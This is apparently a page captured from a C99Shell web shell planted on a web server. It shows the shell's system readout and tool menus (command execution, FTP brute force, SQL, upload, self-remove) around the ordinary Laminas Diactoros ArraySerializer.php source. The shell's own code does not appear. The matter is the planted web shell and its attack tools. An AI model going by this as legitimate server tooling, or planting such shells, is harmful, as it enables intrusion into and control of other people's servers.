!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laminas/laminas-diactoros/src/Response/   drwxr-xr-x
Free 26.58 GB of 117.98 GB (22.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArraySerializer.php (2.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Laminas\Diactoros\Response;

use 
Laminas\Diactoros\Exception;
use 
Laminas\Diactoros\Response;
use 
Laminas\Diactoros\Stream;
use 
Psr\Http\Message\ResponseInterface;
use 
Throwable;

use function 
sprintf;

/**
 * Serialize or deserialize response messages to/from arrays.
 *
 * This class provides functionality for serializing a ResponseInterface instance
 * to an array, as well as the reverse operation of creating a Response instance
 * from an array representing a message.
 */
final class ArraySerializer
{
    
/**
     * Serialize a response message to an array.
     *
     * @return array{
     *     status_code: int,
     *     reason_phrase: string,
     *     protocol_version: string,
     *     headers: array<array<string>>,
     *     body: string
     * }
     */
    
public static function toArray(ResponseInterface $response): array
    {
        return [
            
'status_code'      => $response->getStatusCode(),
            
'reason_phrase'    => $response->getReasonPhrase(),
            
'protocol_version' => $response->getProtocolVersion(),
            
'headers'          => $response->getHeaders(),
            
'body'             => (string) $response->getBody(),
        ];
    }

    
/**
     * Deserialize a response array to a response instance.
     *
     * @throws Exception\DeserializationException When cannot deserialize response.
     */
    
public static function fromArray(array $serializedResponse): Response
    
{
        try {
            
$body = new Stream('php://memory''wb+');
            
$body->write(self::getValueFromKey($serializedResponse'body'));

            
$statusCode      self::getValueFromKey($serializedResponse'status_code');
            
$headers         self::getValueFromKey($serializedResponse'headers');
            
$protocolVersion self::getValueFromKey($serializedResponse'protocol_version');
            
$reasonPhrase    self::getValueFromKey($serializedResponse'reason_phrase');

            return (new 
Response($body$statusCode$headers))
                ->
withProtocolVersion($protocolVersion)
                ->
withStatus($statusCode$reasonPhrase);
        } catch (
Throwable $exception) {
            throw 
Exception\DeserializationException::forResponseFromArray($exception);
        }
    }

    
/**
     * @return mixed
     * @throws Exception\DeserializationException
     */
    
private static function getValueFromKey(array $datastring $key, ?string $message null)
    {
        if (isset(
$data[$key])) {
            return 
$data[$key];
        }
        if (
$message === null) {
            
$message sprintf('Missing "%s" key in serialized response'$key);
        }
        throw new 
Exception\DeserializationException($message);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--